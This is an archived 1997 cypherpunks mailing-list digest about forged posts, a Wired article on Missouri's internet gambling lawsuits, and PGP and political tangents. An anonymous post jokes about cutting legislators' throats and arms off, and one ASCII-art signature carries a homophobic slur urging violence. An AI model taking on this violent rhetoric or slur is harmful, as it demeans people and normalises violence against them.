Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id SAA24941 for
<cypherpunks@toad.com>; Mon, 11 Aug 1997 18:31:33 -0700 (PDT)
Received: from default (lohner24.sk.sympatico.ca [142.165.98.24]) by
wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id TAA03750 for
<cypherpunks@toad.com>; Mon, 11 Aug 1997 19:27:40 -0600 (CST)
Message-ID: <33EFB850.5B50@got.net>
Date: Mon, 11 Aug 1997 19:11:44 -0600
From: Tim May <tcmay@got.net>
Organization: Electronic Forgery Foundation

This is getting tiresome. It may be time to just head up to Ottawa, or
wherever, look this guy up, and do something about him. His overly long
drunken rants are one thing, and are easily deleted, but impersonating me
is straight out of Detweiler's book. Must be something about Cypherpunks
that brings out this urge to impersonate.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Tue, 12 Aug 1997 05:31:48 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199708112117.XAA29277@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: Can't touch this, ugly Americans! (PGP License file)
Newsgroups: list.cypherpunks
Organization: Replay and Company UnLimited.

Adam Shostack sez:

: First off, congratulations and thanks to Stale and everyone else for
: scanning in the source to PGP5.0i (http://www.ifi.uio.no/pgp/)

It was mostly an Brit effort (with some dutch and german help).


They did sweat labour for two days, so a thank you guys is certainly
in order.



        T H A N K  Y O U  A L L  ! !


 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 12 Aug 1997 14:56:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Guy Polis--FORGERY
In-Reply-To: <v03102800b015a6b8c7d7@[207.167.93.63]>
Message-ID: <199708120641.BAA12323@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800b015a6b8c7d7@[207.167.93.63]>, on 08/11/97 
   at 10:44 PM, Tim May <tcmay@got.net> said:

>At 6:27 PM -0700 8/11/97, Peter Trei wrote:
>>Dr.Dimitri Vulis KOTM wrote:
>>> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
>>> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
>>> like a bad troll intended to make the folks who promote the use of crypto
>>> look like, well, crackpots. Be warned.
>>
>>Tim May wrote:
>>>  Yeah, and like we're gun-nuts, too!

>Actually, I didn't write that. Just another forgery from "Toto" (I am
>presuming, from past admissions and from the "wombat.sk.sympatico.ca"
>origins).

>Here are some of the relevant headers. Note also the Organization field.

>Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
>[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id SAA24941 for
><cypherpunks@toad.com>; Mon, 11 Aug 1997 18:31:33 -0700 (PDT) Received:
>from default (lohner24.sk.sympatico.ca [142.165.98.24]) by
>wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id TAA03750 for
><cypherpunks@toad.com>; Mon, 11 Aug 1997 19:27:40 -0600 (CST) Message-ID:
><33EFB850.5B50@got.net>
>Date: Mon, 11 Aug 1997 19:11:44 -0600
>From: Tim May <tcmay@got.net>
>Organization: Electronic Forgery Foundation

>This is getting tiresome. It may be time to just head up to Ottawa, or
>wherever, look this guy up, and do something about him. His overly long
>drunken rants are one thing, and are easily deleted, but impersonating me
>is straight out of Detweiler's book. Must be something about Cypherpunks
>that brings out this urge to impersonate.

Nothing personal Tim but one of the reasons for using Digital Signatures
is to prevent such forgeries.

Ofcource you could be forging the forgeries to persent "plausable
deniability" to all your posts. :)



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+/3vI9Co1n+aLhhAQGOFgP+MDGPt4TFlYNsR3zJBuW+yFI7leiXcEvU
KuJVPBw9C+RMAXXgD4ryBrBiuSPa0yYnqDsJpxmqDW4zQ72DKt99ISkHT7VRd5bL
iGfBBe8Mnrm8TuBYhu/nmUYhlai400COl09w+cAm+URF5q9xyqcH33d7wINtC9Zt
rJmNStXSTxY=
=D7WA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: travel23@juno.com (The Traveler)
Date: Tue, 12 Aug 1997 14:57:39 +0800
To: cypherpunks@toad.com
Subject: Forged headers
Message-ID: <19970812.020823.3662.1.travel23@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know of a URL where you can get information on how to forge
headers and email addresses?

The Traveler

-----------------------------
"Sometimes you're the bug, sometimes you're the windshield."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 12 Aug 1997 09:22:25 +0800
To: cypherpunks@toad.com
Subject: The Right to Bare Arms on "The slippery slope" of Capital Hill
Message-ID: <199708120055.CAA02213@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
>                 Justice Brennan and the slippery slope
> by Joseph Sobran
> 
> The legacy of William Brennan, who died last week at 91, is summed up in
> the phrase "judicial activism." 

  When your "activism" is backed with guns, it's called tyranny.

> Or, as he put it, the "genius" of the
> Constitution lay in the adaptability of its great principles to cope with
> current problems and needs."

 e.g. - The "Right to Bare Arms" means that we can charge Capital Hill
with machete's and and cut those fuckers' arms off to keep their fucking
hands out of the public till.
  The "Right to Free Speech" means that we can cut their fucking throats
and free those "honest" words that have been trapped down there ever
since
they got to D.C.

  God, I love an Constitution with "adaptable principles."

> In plain language, Brennan imposed his own liberal agenda and said it was
> the Constitution speaking. 
> But even when his
> goals were worthy, his methods were despotic.
> Under jurists like Brennan, we are back where we
> started:  subject to the arbitrary will of men rather than 
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> the impersonal rule of law.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^

  Exactly. The right wing kills us with weapons and the left wing
kills us with kindness.
  The Constitution has always suffered as much or more under the
judicial influence of Democrats than it has under the influence of
Republicans. The citizen's pocketbook, likewise--the Republicans 
want to spend others' money on weapons and the Democrats want to 
give it to "worthy" causes of "their" choosing.
  If one of their relatives needs a kidney, then the Republicans
want to force drug-dealers and child-pornographers to give them
one of theirs. The Democrats want to hold a lottery so that all
of us are subject to giving them a kidney.
  Constitution!??!??
  How _dare_ you suggest tht drug-dealers have rights? How _dare_
you suggest that someone with no kidneys doesn't have a right to
receive your "spare" one from the government?

> The test of an honest jurist is whether he is willing to rule against his
> own preferences, deferring, however reluctantly, to what the law requires
> in the case at hand.

  Like it or not, when two cops blatantly lie on the witness stand 
(i.e. - telling you that the husband of a murdered woman was not 
considered a "suspect" when they climbed over his fence) then their
evidence should be thrown out. The majority of the nation (and an
elected judge) just coughed and looked at their feet when that 
happened at the "guilty black man's trial," but the "honest" jurists
who held a human life in their hands did not.
  Halfway through the O.J. trial, someone asked me what I thought
the verdict should be. I glanced at the courtroom circus and said,
"I think we should find them _all_ guilty!"
  I have come to the same conclusion regarding our legislators.
If I were on the Supreme Court, I might take into consideration my
need for fertilizer for my garden when deciding their fate. 
(Of course, being a strong Constitutionalist, I would only have their
"Bare Arms," which the Constitution gives me the right to, cut off
to feed my plants.)

  Timothy May points out that things have reached a point where we
no longer need to decide on the "kind" of solution to our problem,
but the "calibre" of the solution (or "megatonnage").
  Robert Hettinga made a good point that, while we may be having a
lot of fun with our discussions about the law and the Constitution,
technology and the economy will likely influence most of the future
direction of eCa$h (as well as privacy and freedom, etc.).
  Sadly, they are both more right than most of us would like to admit.
I would like to think that Republicans and Democrats, the EFF and 
Freeh, the Government and the people, Rodney King and the L.A. cops,
could "all just get along."
  The reason we can't? We have no longer have a Constitution to hold
on to--to balance the stronger against the weaker, the larger against
the smaller, the "little" rights and wrongs against the "big" rights
and wrongs.

> But Brennan's rulings were the triumph of preference over deference.
> For him, as for many of his
> generation, the office of Supreme Court justice was an irresistible
> opportunity to wield power in the guise of interpreting the law.

  So we end up with legisltors who now have the power to give our
money to the rich _or_ to the poor depending on who holds power,
and they have the power to kill us with weapons _or_ with kindness 
when they hold the majority.
  We are governed by those who think that "The answer to blatantly
unconstitutional laws, is _more_ unconstitutional laws." and "The
Legislature interprets the Constitution as damage, and routes
around it."

"A Vote for TruthMonger is a Vote for Fear, Uncertainty and Doubt."

   Perhaps we need to start a FUD Party. Run a multi-user persona
candidate, such as TruthMonger. (MayMonger, TreiMonger, SchearMonger,
snowMonger, CrispinMonger). We can each gather our own brand of
faithful under a common flag, telling each faction whatever kind
of FUD they want to hear before they will vote for us, and become
the next majority.
  Once we are in power...we restore the Constitution, throw out all
other laws, and starch the flag (so that nobody can wrap themself
in it). Then we quit.

{Disclaimer: The fault in the idea espoused above lies in the fact
that I (and proably many others) cannot hold it in my mind for more
than a few seconds before I invariably start thinking about a few,
small "improvements" I could make before resigning.}
("I have met the enemy, and he is _me_.")

TruthMangler
p.s. - Or, how about, "If elected, we promise to kill ourselves."?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 13 Aug 1997 11:30:16 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis--2nd FORGERY
In-Reply-To: <g6maBe1w165w@bwalk.dm.com>
Message-ID: <33F0289F.5DB1@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote: 
> Rabid Wombat wrote:
> >Dr.Dimitri Vulis KOTM wrote:
> >> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> >> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> >> like a bad troll intended to make the folks who promote the use of crypto
> >> look like, well, crackpots. Be warned.
> >
> >Tim May wrote:
> >>  Yeah, and like we're gun-nuts, too!
> 
> Actually, I didn't write that. Just another forgery from "Toto" (I am
> presuming, from past admissions and from the "wombat.sk.sympatico.ca"
> origins).

> >The mammalian jackass is also claiming that all crypto promoters
> > are marsupials.

Neither did I write the above. This is really getting old. You'd think
the guy would at least learn how to forge a message header after all
this time. It just goes to show that people ought to pay more attention
to the headers on their email.
Otherwise, you never know when it's just somebody being an asshole.

-rw
There's something wrong when I'm marsupial under an increasing number of
laws.
Only one response to the vertabrae grabbers is warranted: "Death to
Dinosaurs!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 12 Aug 1997 19:27:43 +0800
To: cypherpunks@algebra.com
Subject: 5881.html
Message-ID: <199708120842.EAA09809@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1][Masthead]
   []
   [2][Navigation bar]
   [3][Stocks] __________
   ______________
   [4][Search] [5][WIRED magazine]
   Matt Richtel -->
   []
   [6][Back] He Tries to Draw Legal Borders in Cyberspace
   by [7]Matt Richtel 
   5:04am  11.Aug.97.PDT In one of the first undercover stings ever run
   on the Internet, Missouri Attorney General Jeremiah "Jay" Nixon in
   late June handed an 18-year-old intern a credit card and sat her down
   in front of a computer terminal. According to court records, the
   intern visited the World Wide Web site of [8]Hog's Head Beer Cellars
   of Greensboro, North Carolina. She succeeded in ordering a 12-pack of
   microbrews, which were duly delivered.
   
   Then Nixon swung into action. He filed a lawsuit against Hog's Head,
   alleging that the company had not asked for a driver's license number
   from the intern or taken other steps to prevent a minor from
   purchasing alcohol.
   
   "There was no mention on the Web site that you have to be of age,"
   Nixon said. "It's safe to say that any establishment in the state of
   Missouri [that similarly served drinks to minors] would lose their
   license."
   
   Co-owner Jim Lowe concedes that Hog's Head lacked an age-checking
   mechanism when Nixon sicced the minor on him, and says that
   shortcoming has been remedied by requiring customers to fax a signed
   waiver form and copy of their drivers' license to get an order
   processed.
   
   Protecting sovereignty, defining borders
   
   Nixon's beef is not, however, merely about selling alcohol to minors.
   He speaks of protecting the sovereignty of states and of maintaining
   order in the increasingly borderless world created by the Net. His
   targets say, not surprisingly, that he has another agenda, too: waving
   the flag of supposed cyberspace lawlessness to win votes for his 1998
   US Senate campaign.
   
   "He's using this as a political springboard," said Lowe. "People are
   emailing us saying: Doesn't the AG have anything better to do than
   surf the Internet?"
   
   Over the past three months, Nixon has made an increasingly visible
   effort to crack down on what he alleges are illegal businesses run by
   Web-based firms. He has twice sued online gambling businesses, in one
   case winning a fine.
   
   Nixon said that he has taken a tough stand on the issues, particularly
   in the case of Internet gaming, because the federal government has
   dropped the ball on regulation.
   
   "We're going to have to, as 50 different states, get very, very active
   that the protections afforded our constituents continue," Nixon said,
   adding that in the case of gaming, "The federal government has
   basically been AWOL."
   
   Interference with commerce?
   
   Legal entanglements aside, Lowe said he has a bigger problem with
   Nixon's approach.
   
   Instead of trying to clarify how the law might operate in cyberspace,
   Nixon is actually interfering with Internet-based commerce. And Lowe
   numbers himself among the growing number of merchants that feel they
   need the Internet to compete.
   
   Meanwhile, Nixon finds himself fighting perhaps more visible cases
   with two gaming businesses on the Internet. In April, he filed a
   lawsuit against Interactive Gaming & Communications Corp., accusing
   the Pennsylvania company of setting up a casino that violates Missouri
   gaming laws and fails to caution citizens of the Show Me state that
   what the site promotes is against the law.
   
   Nixon won an initial victory in May, when a court ordered Interactive
   Gaming to pay $66,050 in penalties and costs. Nixon said the firm
   refused to pay or to back down. So in June, he asked the grand jury in
   Springfield to indict Interactive Gaming president Michael Simone. In
   what is believed to be the first criminal indictment of its kind in
   the nation, the grand jury handed down a charge of promoting gambling
   in the first degree, a Missouri Class D felony that could carry a
   five-year prison sentence and $5,000 fine for Simone and a $10,000
   fine for his company.
   
   Interactive Gaming's attorney, Lawrence Elliott Hirsch of
   Philadelphia, said in a statement that Missouri has no jurisdiction
   over them. "Michael Simone has never set foot within the state of
   Pennsylvania," said Hirsch. "Mr. Nixon should not be permitted to be a
   super-regulator/legislator of activities conducted lawfully on the
   Internet."
   
   Nixon's response was cool. "Missouri law makes only narrow exception
   for legal gambling, and the Internet is not one of those exceptions,"
   he said.
   
   Battling a tribal lottery
   
   Nixon is also embroiled in a dispute with Idaho's Coeur d'Alene
   Indians. Early this summer, he filed suit to prevent the tribe from
   offering its Web-based US Lottery game in Missouri. As in the
   Interactive Gaming case, Nixon alleges that the Coeur d'Alene are
   violating Missouri law - this time because they have not received
   permission to operate a lottery.
   
   Uncertainty about who really has jurisdiction over Indian gambling
   complicates the case. The 1988 federal Indian Gaming Regulatory Act
   permits tribes to establish casinos on their land, with the permission
   of their home-state governments. The Coeur d'Alene argue that since
   they have permission from Idaho, and since the Net lottery is run
   exclusively on their land, they should be able to offer it anywhere
   they please.
   
   "All the gaming is happening on Indian land - the server is there, the
   random drawing is there, the game itself is played there, the customer
   service is there, the cash account is there," said Mike Yacenda,
   president of Unistar Entertainment, a Connecticut company that manages
   the Coeur d'Alene lottery. "This is the only legal lottery site on the
   Internet."
   
   David Matheson, chief executive officer for gaming for the Coeur
   d'Alene, accuses Missouri of trying to keep the tribe down. "You can
   stand in their lines and buy their lottery tickets," he said. "They're
   trying to make us a poster child for their political games."
   
   The legal nature of the Net
   
   Nixon's stance on the Coeur d'Alene puts him at odds with the many who
   argue that efforts to legislate Net activity - whether the subject is
   gambling, pornography, spam, or taxation - is doomed to failure
   because of the network's diffuse global nature.
   
   But the attorney general doesn't buy any of that. He said there's a
   big difference between Missouri's legal gaming, such as on riverboats,
   and the intrusions from the outside. He argues that Internet-based
   casinos are merely trying to excuse unregulated activity on the
   specious basis that technology makes everything different. Or that
   when an activity is legal in one area - for example, a reservation -
   it should be universally legal because of the Internet.
   
   Nixon said if that's the case, other states or countries will use the
   Net to import activities or substances that are illegal in Missouri
   but legal in their place of origin. That gets to what Nixon said is
   his larger point: Some Internet businesses are threatening Missouri's
   sovereignty and someone needs to "draw a line."
   
   "If we don't draw these lines," he said, "then there are no lines."
   Find related stories from the Web's top news sites with [9]NewBot
   [10][Back] [11][Navigation strip]
   [12]Rants & Raves: Send your rants and raves to Wired News.
   
   [13]Tips: Have a story or tip for Wired News? Send it.
   [14]Copyright (c) 1993-97 Wired Ventures Inc. and affiliated companies.
   All rights reserved.
   [15][HotWired and HotBot]
   [] []
   [16]Oracle
   [Politics]
   POLITICS
   Today's Headlines
   [17]Info Watchdogs Challenge FBI Wiretap Plan
   [18]Amid Cycling Uproar, Evidence Goes Online
   [19]He Tries to Draw Legal Borders in Cyberspace
   [20]ACLU: Labeling May Lead to Lost Liberty
   [21]Scans: Spinning the FCC
   [22]Invitation to a Beheading
   [23]Oracle

References

   1. LYNXIMGMAP:http://www.wired.com/news/news/politics/story/5881.html#masthead.map
   2. LYNXIMGMAP:http://www.wired.com/news/news/politics/story/5881.html#nav1.map
   3. http://www.hotwired.com/cgi-bin/redirect/10010/http://stocks.wired.com/
   4. LYNXIMGMAP:http://www.wired.com/news/news/politics/story/5881.html#nav2.map
   5. http://www.hotwired.com/cgi-bin/redirect/10012/http://www.wired.com/wired/
   6. http://www.wired.com/news/news/top_stories/
   7. mailto:matrichtel@aol.com
   8. http://www.hogshead.com/index.htm
   9. http://www.hotwired.com/cgi-bin/redirect/10018/http://www.wired.com/newbot/
  10. http://www.wired.com/news/news/top_stories/
  11. LYNXIMGMAP:http://www.wired.com/news/news/politics/story/5881.html#navstrip.map
  12. http://www.wired.com/news/rantrave.html
  13. mailto:tips@wired.com
  14. http://www.wired.com/wired/full.copyright.html
  15. LYNXIMGMAP:http://www.wired.com/news/news/politics/story/5881.html#nav3.map
  16. http://www.wired.com/event.ng?Type=click&ProfileID=26&RunID=28&AdID=464&Redirect=http:%2F%2Fwww.oracle.com%2Fst
  17. http://www.wired.com/news/news/politics/story/5958.html
  18. http://www.wired.com/news/news/politics/story/5927.html
  19. http://www.wired.com/news/news/politics/story/5881.html
  20. http://www.wired.com/news/news/politics/story/5882.html
  21. http://www.wired.com/news/news/politics/story/5761.html
  22. http://www.wired.com/news/news/politics/story/5753.html
  23. http://www.wired.com/event.ng?Type=click&ProfileID=26&RunID=28&AdID=464&Redirect=http:%2F%2Fwww.oracle.com%2Fst





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 12 Aug 1997 20:28:50 +0800
To: cypherpunks@toad.com
Subject: HOPE and Wiretap News
Message-ID: <1.5.4.32.19970812113341.006e7190@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NYT had a front page story yesterday on the HOPE meet. 
Featuring hack of NYC's Metrocard, with wry commentary
on new adventures "underground." A quote:

   Bruce Schneier, a highly regarded cryptography expert who
   spoke at the conference, said experience bad taught him
   that hackers often understood computer systems better than
   the engineers who designed them.

   "Hackers just have a much more holistic view," he said.

   Mr. Schneier, who is a consultant to Cubic on the
   next-generation Metrocard, said he believes someone will
   inevitably figure out a hack. "I believe that, fundamentally, 
   a system as complicated as the Metrocard
   cannot be absolutely secure," he said.

---------

See full report at:

   http://jya.com/beyond-hope2.htm

Aptly, with Bruce's emphasis at HOPE on the need for laws to 
punish computer criminals and to close the global jurisdictional 
gap so there's no refuge for outlaws, there's Markoff's report 
yesterday on a petition to the FCC opposing the FBI's digital 
wiretap plan:

   http://jya.com/tap-opp.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: allan@spamport.excite.com (Allan Bailey)
Date: Tue, 12 Aug 1997 20:51:17 +0800
To: cypherpunks@toad.com
Subject: Crypto Patents and PGP Lib 3.0?
Message-ID: <199708121238.HAA02882@fractal.austin.excite.com>
MIME-Version: 1.0
Content-Type: text/plain




  I haven't seen any mention lately of the mythical PGP Lib 3.0.
The last I recall hearing was that it was waiting to be release this month
when certain patents expired.

  Does anyone know which patents or algorithms those are?  I know that D-H expired
back in April, but what about RSA and any other "basic" algorithms?
 
--
Allan Bailey
Excite, Inc. (Austin)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 12 Aug 1997 20:25:37 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis
In-Reply-To: <v03102800b015a6b8c7d7@[207.167.93.63]>
Message-ID: <4FoBBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> At 6:27 PM -0700 8/11/97, Peter Trei wrote:
> >Dr.Dimitri Vulis KOTM wrote:
> >> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> >> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> >> like a bad troll intended to make the folks who promote the use of crypto
> >> look like, well, crackpots. Be warned.
> >
> >Tim May wrote:
> >>  Yeah, and like we're gun-nuts, too!
>
> Actually, I didn't write that. Just another forgery from "Toto" (I am
> presuming, from past admissions and from the "wombat.sk.sympatico.ca"
> origins).
>
> Here are some of the relevant headers. Note also the Organization field.
>
> Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
> [142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id SAA24941 for
> <cypherpunks@toad.com>; Mon, 11 Aug 1997 18:31:33 -0700 (PDT)
> Received: from default (lohner24.sk.sympatico.ca [142.165.98.24]) by
> wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id TAA03750 for
> <cypherpunks@toad.com>; Mon, 11 Aug 1997 19:27:40 -0600 (CST)
> Message-ID: <33EFB850.5B50@got.net>
> Date: Mon, 11 Aug 1997 19:11:44 -0600
> From: Tim May <tcmay@got.net>
> Organization: Electronic Forgery Foundation
>
> This is getting tiresome. It may be time to just head up to Ottawa, or
> wherever, look this guy up, and do something about him. His overly long
> drunken rants are one thing, and are easily deleted, but impersonating me
> is straight out of Detweiler's book. Must be something about Cypherpunks
> that brings out this urge to impersonate.

Toto's drunked rants and the most valuable traffic on this mailing list
these days - I read them and usually save them.  Tim May's censorship
rants make him sonnd like kent Krispin.

How do we know that Tim May didn't post the alleged forgery himself
and didn't munge the headers to point to Toto?

Here's a nice new .signature for you, Tim, courtecy of Dr. Fomin:

]      .                ,
]       `.    ____    ,'::.
]         `-d8%XX88b-':... .
]   .  .  :88%,+,iX.8.:.. .      Dr. Vladimir Il'ich Fomin
]  . .   d.%%/:: \iX8..... .
]. . .   :%%{::Q .}iX.8 . .      rec.food.borscht
] . .   d.%%}:/.\ {iX8.b .
] .  .  .%.{;'.;:`:}iX.8.. .     rec.food.drink.vodka
]: .  . o%%/. /l\::\iX8::.. .
] ....  .%{. //l\\::}iX}.:..
]: ..   {%{.{{ *:}}:}iB:::.:.   "Did you beat up a faggot today?"
].:.. . :.%\.\\l//:/i:}::.:.
]:.::. .  j%`.`-';'i.P:::.:.
]::.:.:. .:x.%`+'iX:P:::.:..  Please e-mail all your MLM offers
]::::.:.... 8%%A:8.}:::.:..   and business opportunities to:
]::::.::.:..j:(*).P::::.::..  news-admin-net-abuse-policy@uunet.uu.net
] ::::.:.:...x.V8P::::.:...
] :::::.::.:..`l'::::.:....
]   ::::::::.,' `:::::...
]  `---____-'     `-____---'

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 12 Aug 1997 23:33:42 +0800
To: "Michael Froomkin - U.Miami School of Law" <cypherpunks@cyberpass.net
Subject: Re: A peculiar notion
In-Reply-To: <v03102800b013d04c0f1b@[10.0.2.15]>
Message-ID: <v03102809b0162dabfc26@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>It is consistent with the dual sovereignty thesis to say that "what is
>delegated can be withdrawn" but the entity doing the "withdrawing" is the
>people (by some democratic process, presumably, e.g. a new constitutional
>convention), not the states, for it is the people who did the delegation
>in the first place.

So, if the people (legal voters in the states which planned to withdraw)
had called a constitutional convention, whose vote was for withdrawl, it
might (in your opinion) been a legitimate undertaking with binding result?
I don't think the North would have accepted any withdrawl, not matter how
it was decided within the South.

The Feds, and indeed any government, tends to strongly oppose any move
which lessens its authority.  It is a credit to the USSR that it was able
to allow even those satellite states, forced into survitude, to peacefully
withdraw.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 12 Aug 1997 21:43:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Forged headers
In-Reply-To: <Pine.LNX.3.93.970812143331.356D-100000@shirley>
Message-ID: <Chameleon.871389441.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



sage advice platypus!

hmmm... let's see,



Network Working Group                                   Steve Crocker
Request for Comments: 1                                          UCLA
                                                         7 April 1969


                         Title:   Host Software
                        Author:   Steve Crocker
                          Installation:   UCLA
                          Date:   7 April 1969
             Network Working Group Request for Comment:   1


CONTENTS

INTRODUCTION

  I. A Summary of the IMP Software

     Messages
...

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Tue, 12 Aug 1997, The Traveler wrote:
> 
> > Does anyone know of a URL where you can get information on how to 
forge
> > headers and email addresses?
> 
> ftp://ds.internic.net/rfc/
> 
> The files called rfc*.txt contain most of the infomation that you need 
to
> know to be able to forge email and headers.  My advice for you is to 
start
> with the low numbered ones and work your way up to the higher numbered
> ones.
> 
> - -- 
> Please excuse my spelling as I suffer from agraphia see the url in my 
header. 
> Never trust a country with more peaple then sheep.  ex-net.scum and 
proud
> You Say To People "Throw Off Your Chains" And They Make New Chains For
> Themselves? --Terry Pratchett
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3i
> Charset: noconv
> 
> iQCVAwUBM+/udqQK0ynCmdStAQHgOQP/dBTOEiyxGIug8zIfIF9nST8Tp3bHQl2a
> AZwHvYmh1TJyelPZG8sgtT6FJ1SVUSNNBSo6M3DQ5dxuA8DrJjg8wRdu8QJIYt/l
> vsYtRZwMAvYEW0YcfM8z+KC1GH7viSZzAfksQoVojXQhe77LytkKNpMzs44oGtNZ
> WZAnpH60vho=
> =RIQg
> -----END PGP SIGNATURE-----
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/12/97
Time: 08:36:03
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 13 Aug 1997 00:23:03 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708121110.NAA25127@atro.pine.nl>
Message-ID: <Pine.LNX.3.95.970812090246.12734B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Patrick Oonk wrote:

> > > Bullshit.  Most Christians I see IRL and on TV cringe at books other 
> > > than The Good Book(TM).  Creationism is bullshit, God didn't make
> > > everything in 7 days, we evolved from monkeys and various others
> > > (Although many half-evolved monkeys can be seen on TV Evangelism
> > > shows and in Congress).
> 
> Is this what the cypherpunks list has become ? Discussions about religion ?
> 
> If so, I am out of here...

It has just devolved from crypto-religious discussion to
christ-o-religious discussion.

Don't worry.  It will be back to normal soon.

Whatever that is...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 12 Aug 1997 21:26:40 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis
Message-ID: <199708121311.GAA02418@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> Date:          Mon, 11 Aug 1997 19:27:36 -0600
> From:          Peter Trei <trei@process.com>
> Organization:  Electronic Forgery Foundation
> To:            cypherpunks@toad.com
> Subject:       Re: Guy Polis
> Reply-to:      Peter Trei <trei@process.com>

> Dr.Dimitri Vulis KOTM wrote:
> > There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> > jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> > like a bad troll intended to make the folks who promote the use of crypto
> > look like, well, crackpots. Be warned.
> 
> Tim May wrote:
> >  Yeah, and like we're gun-nuts, too!
> 
> Rabid Wombat wrote:
> >The mammalian jackass is also claiming that all crypto promoters 
> > are marsupials.
> 
>   As long as he doesn't accuse us of of being mathematicians...
> Does anyone remember what 5 + 7 is equal to? (Send the answer by
> encrypted, private email. Secrecy is essential to my work.)
> 
> Peter Trei
> trei@process.com

Neat! I thought I was too boring a person to bother forging messages
from.

